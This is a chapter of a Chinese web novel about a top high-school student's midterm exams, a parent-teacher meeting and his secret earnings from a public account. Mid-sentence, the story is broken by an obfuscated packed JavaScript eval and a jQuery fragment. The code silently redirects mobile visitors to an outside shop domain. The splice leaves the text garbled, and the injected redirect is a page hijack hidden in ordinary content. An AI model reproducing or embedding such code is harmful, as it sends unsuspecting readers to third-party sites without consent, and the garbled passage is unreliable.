纱布是宋星燃自己在宿舍拆的。
早操结束，舍友都去食堂了。他坐在床沿，把右臂袖子撸上去，纱布最外层已经泛黄翘边，他用左手捏住一角，慢慢往下扯。最里层粘了点血痂，扯的时候带了一下皮，他停了两秒，用指腹按住伤口旁边，把纱布从痂面上揭下来。
不疼。就是有点痒。
右前臂上一道浅痕，十厘米出头，比受伤时看上去短了一截。颜色比周围皮肤深一点，边缘已经合好了，不再像之前那样往外撑着。他活动了一下手腕，屈伸都正常——伤口不深，没伤到筋，愈合得也快。
他把纱布团成一团丢进垃圾桶，袖子放下来，拿了两支笔，出门去教室。
走廊里十一月的日头斜得厉害，把他的影子拉得很长。他走回教室，把右臂搭在桌上，继续做卷子。
期中考试在十一月第三周的周三周四。
高三的备考节奏跟高一高二不一样。不是那种有人喊"加油""冲冲冲"的氛围——高三的紧张是低频的，像一根持续绷着的弦，没有人要特意说什么，但走廊里说话声音都低了半个调，晚自习结束铃响了还要坐五分钟再出来的人越来越多。
宋星燃每天早上五点五十起床，跑步四十分钟，回来洗漱，六点四十五进教室。
他在这段时间里做的事很单一：刷卷子。
前几天整个人被林远的事拖着走——派出所、医院、校门口、教导处，一环接一环，像踩在一根随时会断的绳子上往前赶。现在绳子落地了，人站在平地上，反而有点不适应。
得收心了。
他把落下的进度一点一点补回来，手感钝了几天，慢慢往回找。
考前两天，赵磊坐过来，把一张草稿纸推到他面前。
纸上是一道动量题，写了半张，在第三步卡住了——系统碰撞前后动量守恒，但他在列方程的时候忘了考虑碰后的方向，正负号搞反了。
宋星燃扫了一眼，手指在他的纸上的第三步旁边点了一下。
"方向。"
赵磊低头看了两秒，嘴里发出"哦"了一声，拿笔把负号划掉，重新在旁边写了个正号。然后自己把后面算完。
结果是对的。
他把纸折起来，放进笔袋里，没有说谢谢，也没有多余的话，只是把笔袋的拉链拉上，"嗯"了一声。
宋星燃继续看自己的书。
这种沉默他们已经很习惯了。
期中考试第一天，物理化学数学。
宋星燃走进考场，把卷子翻开，从头到尾扫了一遍大题——有一道化学的工艺流程题，流程图画了整整半张纸，看起来很复杂，他在心里把流程拆开，主干是铁矿石→还原→除杂→精制，枝桠全是干扰。标准流程，比摸底考那道简单。
数学最后一道大题他做到第三问的时候，发现自己的思路跑偏了——他在证明不等式的时候下意识用了均值不等式，但这道题的条件根本不满足均值不等式的使用前提。他停了两秒，把写了一半的步骤划了，重新构造一个辅助函数，把导数用进去。
用了多十一分钟。
但是做出来了。
第二天语文英语。语文作文题是"回望"，宋星燃在草稿纸上写了三行字，停了一下，想了想，把第一行划掉，从第二行开始写——他最初想写的角度太平，"回望过去的路，发现……"，这种开头阅卷老师一天要看两百篇，看到第三个字就知道后面写的什么了。他换了一个角度，从一个具体的场景切入：站在梧桐树下，树叶已经落了大半，只剩最后几枚还在枝头，随时会落，但还没落。
他不知道为什么想到了梧桐。
写完之后把作文纸翻过去，继续做后面的大题。
家长会在期中考试成绩出来之后的那个周五下午。
张桂兰在黑板上贴了一张座位图，让家长按照孩子的座位坐。教室里陆陆续续进来家长，有的是爸爸，有的是妈妈，有的两个都来了，有的是奶奶。
宋星燃他妈来的时候，他正在外面走廊等。
宋妈穿了件藏青色的外套，头发用发卡别在耳后。她下了公共汽车赶来的，路上堵了一段，脸颊有点红，手里拎着一个布袋子——里面是宋星燃上次打电话说要的那本《化学反应工程》，她在县城书店找了两天没找到，最后托在市里的表姐买的，今天顺带捎过来。
"没迟到吧？"她进了走廊，压低声音问。
"没有。还早五分钟。"
宋妈把布袋子往他手里一塞。"书在里面。"
然后她整了整衣角，推门进去。
张桂兰站在讲台上，把这次期中考试的成绩单发下去，一人一份，让家长自己看。
宋妈低头看了一眼，再抬起头，脸上的表情没变，但她把那张纸折了一下，放进包里了——宋星燃认识这个动作。他妈高兴的时候不说，但会把东西收好，像是值得留着的那种。
张桂兰开始讲，从总体成绩讲到各科分析，再讲到学习习惯和备考节奏。宋妈坐在那里听，姿势很端正，偶尔在手机备忘录里记一两个字。
讲完大课之后，是家长自由和老师交流的环节。
家长们三三两两走上来，张桂兰应接不暇。宋妈没着急，等大部分人散开了，才走上去。
"张老师，您好，我是宋星燃的妈妈。"
张桂兰一看见她就笑了，"哎，宋星燃妈妈，快坐快坐。"她把旁边的椅子往前拉了一下——宋星燃从高一到高三，年级第一的名字在成绩单上就没挪过位置，家长会她来过不止一次，张桂兰不可能不认识她。"孩子这次考得很好，年级第一，716分，你看到了吧？"
宋妈点头，"看到了。"
"他发挥一直很稳，"张桂兰说，语气里有一种由衷的感叹，不像是客套，"理综这次满分150，他143，语文120里拿了108——我带了快二十年高三，语文上110的学生我数得出来，120里拿108不容易，作文那篇我看了，角度刁，但是稳，没有剑走偏锋的那种冒险感，像是有东西垫着他的。"
"他小时候爱看书，"宋妈说，"乱七八糟什么都看。"
"能看出来。"张桂兰说，"而且这孩子自律，晨跑我观察了很久，从高二起就没断过，高三开学更规律，身体上有积累，心里也有积累。我在这里带了这么多年，这样的孩子不多见。"
宋妈听到这里，嘴角往上动了一下，但没有说什么。这是她的习惯——当着外人不让自己儿子的脸太好看，免得回头找补。
然后她顿了一下，把声音压低了一个度，凑近了些：
"张老师，我问一个……可能有点多余的问题。"
张桂兰说："您说。"
"他在学校——"宋妈字斟句酌地说，"没有早恋什么的吧？"
张桂兰当场愣了大概两秒。
然后她笑了，笑得很自然，语气非常平稳，"没有没有，您放心，宋星燃这孩子学习心很重的，而且他……"
她顿了一下。
心里浮上来的是高二那次的事——张桂兰虽然不是当事人，但她后来从另一个班主任那里听了个大概。那个下午，在某个班的教室里，宋星燃当着一班同学的面，把一个男生的表白不动声色地接住了，然后用几句话干干净净地挡了回去，从头到尾没有抬高声调，对方什么台阶都没落着，自己全身而退。
事后那个班的班主任跟她吐槽，说"这种学生最难整，他什么都没做错，但就是让人说不出口"。
张桂兰觉得没什么难的，那就是宋星燃该做的事。
她把这些全收进肚子里，继续对宋妈说：
"全校的孩子要是早恋，宋星燃都不会早恋的。您真的不用担心这个。"
宋妈"
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17636206|206277||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
哦"了一声，点了点头，像是放下了一块石头。
"那行。谢谢您。"她站起来，把包带挎回肩上，"孩子有什么问题，您随时联系我。"
"好。"张桂兰站起来送她，"您也多保重，这孩子有您这样的妈妈，也是他的运气。"
这句话宋妈没有接，只是笑了一下，"老师您辛苦了。"
走廊上，宋星燃靠着栏杆站着，手里拿着那本《化学反应工程》，把封面的塑封纸撕了一半，另一半留着——撕完了就该翻，翻完了就该写笔记，写完了才能用，他现在还没那个时间，先撕一半意思意思。
宋妈从教室出来，在他旁边站定。
母子两个都没有说话。
走廊外头，体育组的人在操场上挂横幅，"远安一中高三期中考试优秀榜"，几个字还差一段没挂好，两头高低不平，歪着的。一个男同学爬上梯子去调，另一个在下面喊"左边再往左一点……往左……还是往左"，结果歪得更厉害了，两个人开始互相吵。
宋妈看了几秒，"行了，妈回去了。晚上食堂吃？"
"嗯。"
"身上钱够不够？"
宋星燃挠了挠后脑勺。
宋妈看了他一眼。从包里摸出钱包，抽出两张一百的。
"这个月的生活费已经给过了啊。"她把钱递过去，"这两百是年级第一的奖励。多了没有。"
宋星燃接过钱，嬉皮笑脸地往口袋里一揣："谢谢妈妈。爱你。"
宋妈白了他一眼，嘴角却翘起来了，"行了行了，少来这套。"她往楼梯口走，走了两步又回头，"晚上吃点好的。""知道了。"
其实他现在不缺这两百。
公众号上个月接了博学教育的续约，五百一篇，三篇就是一千五。文具品牌的图文广告三百。加上之前攒的——他手头大概有小三千。这些钱他没跟任何人说过。没跟苏晚柠算过账——苏晚柠从来不问，他也不主动提，但每一笔都在备忘录里记着。也没跟家里提过一个字。
不是故意瞒着。
是不能说。
宋星燃太了解他妈了。宋妈要是知道他在学校"做生意"——不管这生意多正经——第一反应不是高兴。第一反应是"既然你自己能挣钱了，那生活费是不是可以少给点"。不是抠。是他妈就是这么算账的。家里一个月固定开销摆在那里，星瑶的师范学费、他自己的生活费、宋爸的烟钱、买菜加油，每一笔都有去处。如果宋妈发现其中一笔可以省——她会省。
而宋星燃需要那笔生活费。
公众号的钱是另一条路——不是用来代替生活费的。是用来攒着的。攒到一定程度，才能做更多的事。他现在赚的还太少，少到经不起任何一个环节断掉。
所以不能说。
他把手从口袋里抽出来，往回走。晚自习的预备铃还没打，操场上体育组的人已经把那条"高三期中考试优秀榜"的横幅挂好了——虽然还是歪的。
他走进教室，坐下来。把下午没做完的那道数列压轴题翻出来，找到停下来的地方，继续往下推。
期中成绩出来之后，公众号后台的留言又密了一层。
他是在宿舍熄灯之后用手机查的。打开后台，关注数跳了一行数字：七千零四十一。
他盯着这个数字看了两秒。
距离八千，差九百五十九。
他在备忘录里记下来：6803→7041。考试周涨了238。
然后把手机放下，闭上眼睛。宿舍里有人在翻床铺，有人在说梦话，外面走廊的灯还亮着，一条白光从门缝里透进来，照在地板上。
他想：破八千了就提价。
提价之前得先跟苏晚柠说。
这件事不急。还有九百五十九个人的距离。
他侧过身，把脸朝向墙壁。
今天先到这里。